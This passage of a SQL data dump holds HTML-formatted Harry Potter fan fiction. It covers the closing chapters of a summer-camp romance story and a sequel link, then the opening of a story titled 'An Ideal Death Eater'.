pulling him to that he faced Harry and Hermione.<br>\n\n\n<br>\n &quot;What do those two think they\'re doing?!&quot; said Ron, highly surprised at their very apparent public affection which seemed very out of character to him for his two best friends to be doing.<br>\n\n\n<br>\n &quot;They\'re dancing Ron!&quot; said Meegan with a large smile.<br>\n\n\n<br>\n &quot;But&#8230;OH MY GOD!&quot; said Ron in shock.<br>\n\n\n<br>\n &quot;OH MY GOD!&quot; countered Meegan.<br>\n\n\n<br>\n A gasp from the parting crowd revealed to the rest of the crowd Harry and Hermione, who\'d just begun to kiss in front of the entire camp.<br>\n\n\n<br>\n ~*~<br>\n\n\n<br>\n SORRY&lt;!&gt; One chapter left.&nbsp; Good reviews (or any for that matter!) Will get the next chapter two you ASAP.&nbsp; That review box is SO easy!&nbsp; And it&#8217;s right at the end of the chapter.&nbsp; You don&#8217;t have to put your name or anything.&nbsp; Just leaving it as anonymous and saying something mundane like &#8220;liked it&#8221; then hitting review is good enough for me! </p> '),
	(134, 17, ' <p>Hermione sighed and sank her body against Harry\'s as his warm mouth explored hers. His hands were strongly resting atop her hips, having slid back from around her waist as their kiss deepened. He\'d become too wrapped up in the moment to do anything else with them. Wither her eyes shut, Hermione felt securely enough to let her mouth roam freely around Harry\'s. She made a move to lean in further when without warning; he broke off their kiss.<br>\n\n\n<br>\n Hermione let her eyes flutter open as she regarded him with a look of bewilderment. Harry was staring not at Hermione, but over her shoulder with wide eyes and an open mouth. It could only be described as a look of pure shock. Hermione slowly began to notice a loud noise infiltrating her ears. Her euphoric smile began to fade as she realized the loud noise was coming from nearly the entire camp encircling them, clapping and cheering loudly.<br>\n\n\n<br>\n Hermione was stricken with a sudden panic. The large crowd was making her feel increasingly more and more claustrophobic with their watchful eyes. Her pulse began to quicken as her eyes flicked around, looking for the nearest escape route. Fleetingly, the darted back to Harry. He remained frozen in front of her.<br>\n\n\n<br>\n With a small gasp, Hermione turned and began pushing her way through the crowd. She let the noise of those around her drown out as she ran for the door. All she wanted was to get outside. She needed air. As she went, she failed to hear Meegan calling after her. Initially, all she\'d planned on was walking out the door, but once she\'d gotten there, her legs kept her moving. A few small tears began to trickle down her cheeks. Mainly, she was ashamed and embarrassed. It was her, QUIET Hermione Granger. She was the last person anyone would expect to make a spectacle of herself by making out with her best friend in front of a crowd.<br>\n\n\n<br>\n Before she knew it, Hermione was alone in the moonlight standing at the edge of the lake. She sighed and walked over to the dock. With a soft sniffle, she sat down in a heap at its end. Pulling off her shoes, she scooted herself close enough to the edge so as to let her toes dangle in the water.<br>\n\n\n<br>\n She never heard him come up behind her. He just stood there with a heavy heart watching her stare off across the lake. No one was supposed to know they had a relationship. He\'d gotten too into the moment and caused the person he cared about most undeserving heartache. Quietly, he walked over to her a put a gentle hand on her shoulder.<br>\n\n\n<br>\n Hermione\'s body jumped a bit at the unexpected contact, but quickly relaxed as she realized who had followed her. Still not turning around, she slid a hand up to rest over his on her shoulder. With a sigh, he sat down behind her and tightly wrapped both his arms around her waist.<br>\n\n\n<br>\n Hermione leaned back and brought her arms up to rest over his. She started to breath easier just feeling him next to her. He had a calming effect over her entire body.<br>\n\n\n<br>\n &quot;I\'m sorry,&quot; said Harry is a whisper, mumbling it into her hair, his cheek resting against the side of her head.<br>\n\n\n<br>\n &quot;It\'s not your fault,&quot; said Hermione quietly.<br>\n\n\n<br>\n &quot;It\'s not your either,&quot; countered Harry, not wanting Hermione to carry any of the blame herself that he\'d gladly take on all on his own to spare her any pain.<br>\n\n\n<br>\n &quot;I know,&quot; said Hermione, sniffling away the last bit of her tears as she relaxed in his arms. &quot;I don\'t blame either one of us. We just got caught up, it happens. It just happened to be a very unfortunate moment.&quot;<br>\n\n\n<br>\n &quot;Really? Because that was the way I\'d always envisioned us announcing our relationship,&quot; said Harry with a chuckle trying to lighten the mood.<br>\n\n\n<br>\n &quot;Git,&quot; said Hermione laughing as she flipped an arm behind her and whapped him in the shoulder. She swiveled around so that she was still in his arms, but now facing him. &quot;I\'m alright with it,&quot; she smiled. &quot;It wasn\'t the way I\'d imagined it, unlike you,&quot; she giggled, &quot;but it happened. And besides the initial embarrassment, it does save us finding a way to tell Ron and Meegan.&quot;<br>\n\n\n<br>\n &quot;You\'re too optimistic for you own good sometimes,&quot; said Harry leaning down and giving her a soft kiss. &quot;Do you want to go back up now?&quot;<br>\n\n\n<br>\n &quot;No, I don\'t. Not yet at least,&quot; said Hermione turning back around and snuggling down into his arms again.<br>\n\n\n<br>\n &quot;Whenever you\'re ready then,&quot; said Harry, kissing the crown of her head.<br>\n\n\n<br>\n &quot;Thank you, you\'re amazing.&quot;<br>\n\n\n<br>\n &quot;Do you think I should go after her,&quot; said Meegan as she watched Hermione run out of the lodge. She was still in Ron\'s arms, having just stopped dancing to watch the scene.<br>\n\n\n<br>\n &quot;I think it\'s covered,&quot; noted Ron as Harry began making his way toward the door as well.<br>\n\n\n<br>\n &quot;Do you think she\'s going to be all right? Personally, I\'d be mortified. Oh wait, that already happened to me and I was!&quot; said Meegan with a smirk recalling her own public make out session.<br>\n\n\n<br>\n &quot;Meegan, you\'re not still thinking about that are you?&quot; said Ron, titling his head to the side and giving her a frustrated look that she hadn\'t been able to let it go yet.<br>\n\n\n<br>\n &quot;No, no, I\'m ok. I just know she must be rather embarrassed right now. But can I just say again, OH MY GOD!&quot; Meegan had now slid out of Ron\'s arms.<br>\n\n\n<br>\n &quot;No kidding! I knew those two have both been into each other for quite some time, but to see them finally admit it to each other; WOW!&quot; said Ron smiling from ear to ear, completely happy that his best friends had finally admitted their feelings to each other.<br>\n\n\n<br>\n &quot;At least it\'s the last day of camp. They can go to bed, suffer a few hours of snickering tomorrow, then escape, UNLIKE me,&quot; said Meegan with a smirk.<br>\n\n\n<br>\n &quot;What was that? I thought you said you were over it?&quot; said Ron, slowly raising his arms and stepping toward her with a wicked look in his eyes.<br>\n\n\n<br>\n &quot;Ron, what are you doing?&quot; said Meegan, smiling and taking a step back.<br>\n\n\n<br>\n &quot;Just,&quot; he stepped closer, &quot;going to,&quot; he stepped closer again, &quot;tickle you!&quot; He lunged and attacked her waist. She squealed and writhed around in his arms. After a minute, he stopped by wrapping his arms around her and squeezing her tightly. &quot;Do you know how much I\'m going to miss you when you leave tomorrow?&quot; He spoke into her hair as he held her.<br>\n\n\n<br>\n &quot;Half as much as I\'m going to miss you,&quot; she said, titling her head up and kissing him. She didn\'t care who was watching anymore, she just wanted to be happy, and Ron made her happy.<br>\n\n\n<br>\n When Hermione and Harry finally walked back, the dance was long over. They\'d rested together silently for quiet sometime, breathing in simpatico and simply enjoying being near each other. They were hand in hand as they made their way up the dark hill from the lake toward the camp. Normally, Hermione would be nervous in the dark, but with Harry by her side, she never felt a drop of fear.<br>\n\n\n<br>\n &quot;Thank you for coming after me,&quot; said Hermione as they stopped in front of her cabin, which was before Harry\'s. She was still holding his hand and she smiled at his moonlight face.<br>\n\n\n<br>\n &quot;I\'ll always come after you,&quot; said Harry, leaning down and giving her a sweet kiss. She remained holding his hand as their mouths gracefully danced with each other.<br>\n\n\n<br>\n &quot;I know,&quot; said Hermione, beaming, as they broke apart. &quot;I should get to bed. I\'ll see you tomorrow.&quot; She gave his hand a soft squeeze and she turned and slipped into her cabin. He watched her for a moment before heading off toward his own cabin.<br>\n\n\n<br>\n Reaching his door, Harry tiptoed in and gently shut it behind him. Slipping off his shoes, he decided to just creep over to his bed. It had been too long of a night; he\'d deal with everything in the morning. He lifted up the side of his bed and began to slide in, when he hit something, someone, sleeping in his bed. Harry let out a brief swear in shock, letting his arm flail and whack whomever was sleeping in his bed in the stomach as she sprung out of it. A loud choking noise next to him let him know he\'d woken up him up.<br>\n\n\n<br>\n A disorientated Ron sat up at blinked his eyes a couple time until he focused on Harry. &quot;Bloody time,&quot; said Ron, mumbling and still squinting. &quot;I tried to wait up for you.&quot;<br>\n\n\n<br>\n &quot;Why were you in my bed?&quot; asked Harry, still quite shocked to have found Ron there.<br>\n\n\n<br>\n &quot;To make sure I\'d get the chance to talk to you tonight,&quot; said Ron as he finally managed to get his eyes to stay open.<br>\n\n\n<br>\n &quot;About what?&quot; said Harry, scratching his head, still thinking about how odd it was for him to find Ron asleep.<br>\n\n\n<br>\n &quot;Well for starters, that small, minute, really insignificant little scene that you and Hermione caused during the dance,&quot; said Ron as he moved to sit on the side of the bed.<br>\n\n\n<br>\n &quot;Ohhh,&quot; said Harry, sitting down next to Ron.<br>\n\n\n<br>\n When were you going to tell me? I\'d always assumed, being the best friend and all, to BOTH of you, that\'d I\'d be privy to such information before it was released to the general public,&quot; said Ron scoffing a bit.<br>\n\n\n<br>\n &quot;Ron, we didn\'t mean for that to happen in the least. And you were the first person we were going to tell. It\'s just that over the past few weeks, we hadn\'t wanted to tell anyone. Especially after what had happened with you and Meegan, we just wanted to avoid the situation until we\'d left camp. But I swear, you were going to be the first one we told,&quot; said Harry looking down at his hands.<br>\n\n\n<br>\n &quot;I believe you. But bloody hell Harry, don\'t you have any self restrain! You said it yourself just now that you didn\'t want to cause a scene at camp. Let\'s just say you beat Meegan and me with that little show you two put on&#8230; times ten!&quot; said Ron cracking his lips into a small smile. He tried, but he couldn\'t hold in the small chuckle he let out.<br>\n\n\n<br>\n &quot;It\'s not funny, Ron,&quot; said Harry attempting to look serious. Unfortunately, Ron\'s goofy smile just got Harry to crack and laugh too. &quot;Oh shut up!&quot; He said, shoving Ron of the bed and laughing as he landed in a lump on the floor.<br>\n\n\n<br>\n &quot;I\'ll take that as goodnight,&quot; said Ron, laughing and rubbing his sore side as he stood and climbed up to his bunk. &quot;Right, goodnight then.&quot;<br>\n\n\n<br>\n &quot;Good night, Ron.&quot;<br>\n\n\n<br>\n Hermione quietly shut the door behind her as she entered her cabin and prepared to tiptoe over to her bottom bunk that was paralleling in front of the door. She\'d barely turned when she let out a small squeak and jumped. Sitting there at the edge of her bed was a very put off looking Meegan.<br>\n\n\n<br>\n Hermione contorted her face into an apprehensive look at she hesitantly walked over, he head lowered a bit toward the ground in shame, and sat down next to her downright frightening looking friend.<br>\n\n\n<br>\n &quot;Explain now,&quot; said Meegan simply, adjusting her sitting position so that she was turned toward Hermione.<br>\n\n\n<br>\n &quot;We didn\'t mean for that to happen. You know I\'m not one for a public display, hence why I left. Honestly though, we were going to tell you. Tomorrow in fact,&quot; said Hermione, rambling out everything she had to say, the wincing a bit as she waiting for Meegan\'s rebuttal.<br>\n\n\n<br>\n &quot;I can\'t believe you never told me! I told you everything about Ron and me! And you know that I would have supported you! I\'ve only told you since day one that you and Mr. Potter would make a fabulous couple,&quot; said Meegan indignantly. She was a little hurt since she\'d thought Hermione would know her well enough now to trust her with such information.<br>\n\n\n<br>\n &quot;I was going to, but then after you and Ron got caught, Harry and I decided to wait until the end of camp to let anyone know at all. I can only imagine what Ron put Harry through, he being our best friend and all, and not knowing,&quot; said Hermione, offering Meegan a small smile.<br>\n\n\n<br>\n Meegan began to giggle too. She knew how Ron could get. &quot;You\'re right, I\'m sorry Hermione. I just wish you had told me!! Then we could have been giggling about our boyfriends for the past month!&quot;<br>\n\n\n<br>\n &quot;I can\'t guarantee that I\'d have been much of a giggler,&quot; Hermione smiled as Meegan got of the bed and moved in preparation to climb up to her bunk.<br>\n\n\n<br>\n &quot;We can try it writing to each other after camp,&quot; smiled Meegan. &quot;Besides, I\'ll need someone to keep my up to date on Ron\'s hijinks!&quot; Both girls laughed as Meegan climbed up into her bed.<br>\n\n\n<br>\n &quot;That\'s promise. Goodnight, Meegan,&quot; said Hermione, climbing into her own bed.<br>\n\n\n<br>\n &quot;Good night.&quot;</p>\n\n<p>~*~<br>\n\n\n<br>\n &quot;It\'s over. &quot; Said Hermione in a sullen voice as she watched the last van of campers drive away. Harry stood behind her, his arms wrapped around her waist. Around them, some of the camp stand wandered around cleaning up the tables et al that had been set-up for camper checkout. A few cleaners they\'d hired were wandering around the grounds, preparing it for the next group who\'d be using the facilities.<br>\n\n\n<br>\n &quot;Come on, your mother will be here in thirty minutes to get us. We should get our bags and bring them up,&quot; said Harry, releasing her waist and taking her hand as he led her away. A few groups of counselors stood around them, watching them speculatively, but neither cared as they walked down the familiar path toward the lake.<br>\n\n\n<br>\n &quot;See you in a bit,&quot; said Harry, leaning over and kissing Hermione as they stopped at the point where the path split leading to the girls and boys sides of the camp.<br>\n\n\n<br>\n &quot;Ok,&quot; said Hermione with a large smile, as they broke apart, letting her hand slide from his with a look of longing as they went their separate ways.<br>\n\n\n<br>\n Hermione found Meegan and Allison already inside packing up the rest of their bags. They looked up at her, a bit teary-eyed themselves, as she entered the cabin.<br>\n\n\n<br>\n &quot;Hey,&quot; said Hermione with a wavering smile. It only took her a minute before she flew across the cabin and joined Meegan and Allison in a group hug. &quot;Oh, I\'m really going to miss those girls!&quot; Hermione wiped a tear from her cheek as they leaned apart.<br>\n\n\n<br>\n &quot;Me too. It\'s always so hard letting them go,&quot; said Meegan, dabbing her eyes with the sleeves of the oversized wool sweater with a large \'R\' sewn in the middle she\'d borrowed from Ron.<br>\n\n\n<br>\n &quot;I can\'t wait to do this again next year,&quot; smiled Allison through a few tears. &quot;It\'s hard seeing everyone leave, but I had so much fun!&quot;<br>\n\n\n<br>\n &quot;I\'m really glad you could come over for the summer,&quot; said Meegan, wrapping her arm around her cousin\'s shoulders.<br>\n\n\n<br>\n &quot;Me too,&quot; she sniffled in reply.<br>\n\n\n<br>\n &quot;Let\'s promise we\'ll keep writing each other during the school year until we can come back next summer,&quot; said Hermione as she began stuffing her remaining items into her duffle bag.<br>\n\n\n<br>\n &quot;There\'s no question about that,&quot; smiled Meegan. &quot;We can visit on holidays and what not. Besides, I\'ll be needing to visit my boyfriend,&quot; she winked.<br>\n\n\n<br>\n &quot;And you\'ll tell us all about Harry, right?!&quot; asked Allison excitedly to Hermione.<br>\n\n\n<br>\n &quot;It\'ll take some getting used to, but I think I can learn this \'girl- talk\' thing,&quot; said Hermione grinning. &quot;Now how about we haul these bags up and get out of here? I don\'t know about you two, but it\'s going to be very nice to be in my own bed for a change!&quot;<br>\n\n\n<br>\n &quot;No kidding,&quot; laughed Allison, tossing her bags over her shoulder and following Hermione out the door. Meegan followed behind and closed the door after herself. All three turned for a moment and looked at their cabin before trekking up the hill.<br>\n\n\n<br>\n &quot;Are you going to tell them about us?&quot; said Harry, leaning in next to Hermione and whispering into her ear. Both of Hermione\'s parents had picked up her, Harry, and Ron, so the three of them had squeezed in the back seat. Hermione, being the smallest, had taken the middle.<br>\n\n\n<br>\n &quot;Not in a confined space,&quot; she giggled as he leaned back away from her and gave her hand a little squeeze, hoping it was out of view from her parents.<br>\n\n\n<br>\n &quot;All right Ron?&quot; said Harry, looking over at his friend who had his forehead pressed against the glass window, staring out as trees flew by.<br>\n\n\n<br>\n &quot;I suppose,&quot; said Ron, leaning back into his seat and offering Harry and Hermione a lop-sided smile.<br>\n\n\n<br>\n &quot;You\'re going to write her as soon as we get back, aren\'t you?&quot; said Hermione with a teasing grin.<br>\n\n\n<br>\n &quot;Of course!&quot; Ron beamed.<br>\n\n\n<br>\n &quot;Are you going to tell her that you\'re&#8230; &quot;<br>\n\n\n<br>\n &quot;Not a Muggle?&quot; Ron cut off Harry. &quot;Definitely, just&#8230; not yet.&quot;<br>\n\n\n<br>\n &quot;She\'ll understand when the time comes,&quot; Hermione put a supportive hand on Ron\'s shoulder.<br>\n\n\n<br>\n &quot;Thanks \'Mione. And when you two tell everyone at school that you\'re dating, they\'ll understand as well.&quot;<br>\n\n\n<br>\n &quot;WHAT?!&quot; Came the yells from Hermione\'s parents in the front seat.<br>\n\n\n<br>\n THE END<br>\n\n\n<br>\n sequel in consideration =) please review.</p> '),
	(134, 18, ' <p>Want to read the sequel?&nbsp; It&#8217;s up and being added to!&nbsp; </p>\n\n<p>I can&#8217;t get the html to work, so take -&gt; <a href="http://fanfiction.portkey.org/story/2305">http://fanfiction.portkey.org/story/2305</a> and paste it into your browser OR go to my profile and click on the story, &#8216;Falling Forward&#8217;</p> '),
	(135, 1, '\n\n<p align="JUSTIFY">Title: An Ideal Death Eater</p>\n<p align="JUSTIFY">Authour: Sing to Angels</p>\n<p align="JUSTIFY">Disclaimer: I am not JK Rowling and I don&#8217;t own any of these characters. But I do have dreams about going back in time with the first four books and publishing them under my name and making lots of money. Does that count? No? Damn!</p>\n<p align="JUSTIFY">Authour\'s note: I&#8217;d like to thank all the little people who made this possible... oops, wrong story. I&#8217;d like to thank my loverly beta readers, without whom this work wouldn&#8217;t be possible. I&#8217;d like to thank Xenadrine for giving the mental capacity to write and of course, my son, who makes it impossible to write one sentence without having get up and pull a kitten out of his mouth. Please review, it makes me feel like all the time I spend writing this is worth something. But I won&#8217;t beg. You wanna flame me? That&#8217;s okay, my feet are cold anyway.</p>\n<p align="JUSTIFY"> </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY"> Summer was at an end, and the train to Hogwarts appeared to be the same shiny red it was the last time they had all stood at Platform 9 &#190;, maybe even more so since it was covered by a thick sheen of rain. With heavy hearts, Harry Potter, Hermione Granger, and Ron Weasley boarded the Hogwarts Express, knowing that this was to be their final year as students attending that prestigious institute of learning. Ron\'s younger sister, Ginny, who was entering her sixth year, trailed behind them.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &quot;Just think, Hermione, after this year there won\'t be any more studying. You&#8217;ll be heartbroken,&quot; Ron teased as they all sat down in the cushy compartment Harry had found empty.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &quot;Oh,&quot; Hermione groaned, throwing herself in the seat across from Ron. &quot;Don\'t remind me. Unlike some others, I actually <i>enjoy</i> learning new things. But, just because we are leaving Hogwarts soon, doesn\'t mean that we have to stop studying. <i>I\'ll</i> be attending the Aurors&#8217; Academy in Belfast. I just received my acceptance letter yesterday.&quot;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &quot;Way to go! At least now I know I won\'t be by myself next year.&quot; Harry pounded Hermione on the back hard before he forgot that she was quite a bit smaller than him and stopped. &quot;Oh, sorry, Hermione.&quot;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &quot;That\'s all right, Harry. I know you\'re excited,&quot; she coughed out after the air had caught up with her lungs once more.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &quot;You\'re <i>both</i> going to Aurors&#8217; Academy?&quot; Ron exclaimed, crossing his arms and pouting like a petulant child. &quot;What about me?&quot;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Harry sighed and shrugged. &quot;You didn\'t want to go, remember?&quot;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &quot;Yeah, but that was only because... well, I didn\'t want to leave Hermione and Ginny by themselves,&quot; he finished quietly.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Dark brown eyes flashed with annoyance. &quot;You thought I wouldn\'t be accepted into the Academy, Ron?&quot; Hermione asked in a deceptively sweet manner.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&quot;Well, not that exactly...&quot; Ron trailed off. &quot;Aww ruddy \'ell, you\'re gonna whomp me anyway. So it don\'t matter what I say now, do it?&quot;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &quot;Ronald Weasley! I\'ve asked you not to curse in front of me. Think of your sister at least.&quot; Hermione shook her head and grumbled the last. &#8220;And your grammar is deplorable.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ron glanced at his sister, stifling a laugh and then back to Hermione across from him. &quot;I said ruddy, and I didn\'t even say hell. &#8217;Sides, she\'s got a mouth like a sailor that one does. You should hear her at home!&quot;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;It&#8217;s small wonder with examples such as yourself.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &quot;Hermione, maybe you should give S.P.A.C a rest just now. We have a ways to go and the train hasn&#8216;t even started moving yet,&quot; Harry sighed out of the side of his mouth.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &quot;S.P.A.C?&quot; </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ron snorted at Ginny. &quot;Yeah. Society for the Prevention of Adolescent Cursing.&quot;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &quot;Does that cover real curses too?&quot; Ginny piped up curiously.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &quot;It should. Do a sight lot better than some club to prevent me from saying what I please,&quot; Ron groused.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Harry rolled his eyes; it was going to be a <i>long</i> trip.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Suddenly, the door to the compartment was flung open and a dark hooded figure stepped forward, filling the frame with his shoulders. Silvery droplets clung to the expensive black velvet and seemed to wink as the fabric shifted.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> And the drama was only just beginning.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ron sucked in a breath and screamed. &#8220;Aah! A Death Eater!&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> The figure snorted and pushed the hood back, allowing the washed out sunlight to gleam softly over his moon-tinted hair.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Bloody hell,&#8221; Harry breathed. &#8220;Is that old Spindle-legs there?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> This statement earned him a hard thump from Hermione and he winced. &#8220;Sorry, Hermione.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ron recovered himself, flushing briefly with anger and embarrassment. &#8220;Same bloody thing as a Death Eater.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Hermione was staring at Draco Malfoy in puzzlement, not even bothering to whomp Ron. Ginny just swallowed, her eyes the size of dinner plates.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;You look... different.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&#8220;Yeah,&#8221; Ron piped up, fully recovered. &#8220;He isn&#8217;t a spider.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Harry snorted and Draco only glared more fiercely.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Don&#8217;t think I&#8217;ve forgotten your little joke from last year, Potter. I will be returning the favour soon, have no doubt about that.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&#8220;So what, you decided to come and scare us half to death in that get-up? Not much of a revenge if you ask me,&#8221; Ron snorted.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Draco narrowed his eyes dangerously. &#8220;No, I figured I would give you all fair warning.&#8221; He turned to sweep out of the small room but paused to aim a crisp glance at Harry on his way out. &#8220;Be on your toes this year, Potter.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> With his exit, Hermione breathed a sigh of relief and Ginny rubbed arms that had suddenly gone numb with cold.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;What did you <i>do</i> to him last year, Harry?&#8221; Ginny asked, a little unsure she wanted to hear the answer.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ron smacked her arm and guffawed. &#8220;Oh it was priceless, really. Harry there turned him into a spider on the train home before hols and he almost got squashed by the food trolley coming through!&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;I wouldn&#8217;t laugh too hard, Ron. You screamed like a girl when you saw him come racing towards you on eight legs,&#8221; Harry smirked. &quot;Besides, I didn\'t even think of his getting almost squashed,&quot; he added in a whisper to himself.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Twasn&#8217;t my fault! I&#8217;m scared of spiders, you know that.&#8221; Ron slumped forward and crossed his arms. Ginny however, was howling.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&#8220;I wish I could have seen it! Ron screaming and Malfoy skittering.&#8221; She wiggled her fingers in a motion that could only be determined by the rest as that of a spider, creeping about.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Was it just me or did Malfoy seem--&#8221; Hermione broke off, searching for the proper word. &#8220;Wider?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Well, he&#8217;d have to be wouldn&#8217;t he? Couldn&#8217;t have gotten any thinner than he was before,&#8221; Harry threw in.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Aye, that grub was about the lankiest git I&#8217;ve ever seen. Even worse than poor Harry here.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Hey!&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&#8220;Well, you are pretty thin, Harry.&#8221; Hermione patted his arm soothingly. </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&#8220;I&#8217;m still growing. I&#8217;ll catch it up soon enough.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ginny shook her head. &#8220;The way these two eat, I&#8217;m surprised they haven&#8217;t tripled in size. If I ate as much as they do, you&#8216;d have to roll me down the street.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;They&#8217;re boys, Gin. They can do all sorts of stuff that would put us in an early grave,&#8221; said Hermione before letting out a long-suffering groan.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Too right! I&#8217;d hate to see you both in the Quivering Rooster or some such place. Not fit for ladies.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ginny and Hermione turned a cool glance in Ron&#8217;s direction. &#8220;Have <i>you</i> been frequenting such a place, Ron?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ron sent a silent plea to Harry for help, but he only shook his head.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Sorry mate, you opened your mouth.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;I didn&#8217;t go by my bleedin&#8217; self!&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Harry&#8217;s ears turned bright red as the girls glanced at him. &#8220;We--I mean--&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Oh Ron! What would Mum say?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;She won&#8217;t know if you don&#8217;t squeal on us.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;But that place is dangerous! There are all sorts of bad elements there,&#8221; Hermione gasped. &#8220;Think of those <i>horrid</i> women strutting about in almost nothing.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Harry smothered a grin and winked at Ron.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;I think they <i>were</i> thinking of those horrid women, Hermione,&#8221; Ginny snapped peevishly. &#8220;Honestly, and you two wouldn&#8217;t even let me go on an innocent trip to visit Colin this summer.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Innocent?&#8221; Ron roared. &#8220;That bloke has had his way with more girls than you could count. Like I&#8217;d leave you alone with the likes of <i>him</i>. Creepy little feck.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;He has not!&#8221; Ginny shouted back fiercely. &#8220;He only told you guys that because--&#8221; she stopped and closed her mouth quickly.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;What?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Nothing. It isn&#8217;t any of your business.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Like he--&#8221; </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Ron! Leave her alone, all right.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;But she--&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Drop it; you\'re acting like a two year-old. Let&#8217;s all try to get some rest before we are back at Hogwarts. We were all up late last night,&#8221; Harry grunted as he bunched up his cloak and stuffed it behind his head. He didn&#8217;t feel the need to sleep so much as he was just tired of the bickering.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ron muttered something off colour under his breath and followed suit. Hermione yawned and put her feet up on Ron&#8217;s lap, resting her head on Harry&#8217;s shoulder. Ginny&#8217;s legs weren&#8217;t long enough to reach across the seat so she tucked her heels underneath her and leaned over to put her head on Ron&#8217;s shoulder.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> It was this scene to which Harry awoke later, startled to realise that they were already at Hogwarts Station.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY"> *~*~*~*~*</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY"> Harry rubbed sleep-crusted eyes as he gazed around the room. Dusk was setting in and he could hear the last of the students stomping off the train.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Wake up everyone, we&#8217;re here.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Hermione yawned and stretched small, slim fingers up into the air above her head. &#8220;Already? We just went to sleep.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Ron, wake up.&#8221; Harry shook him 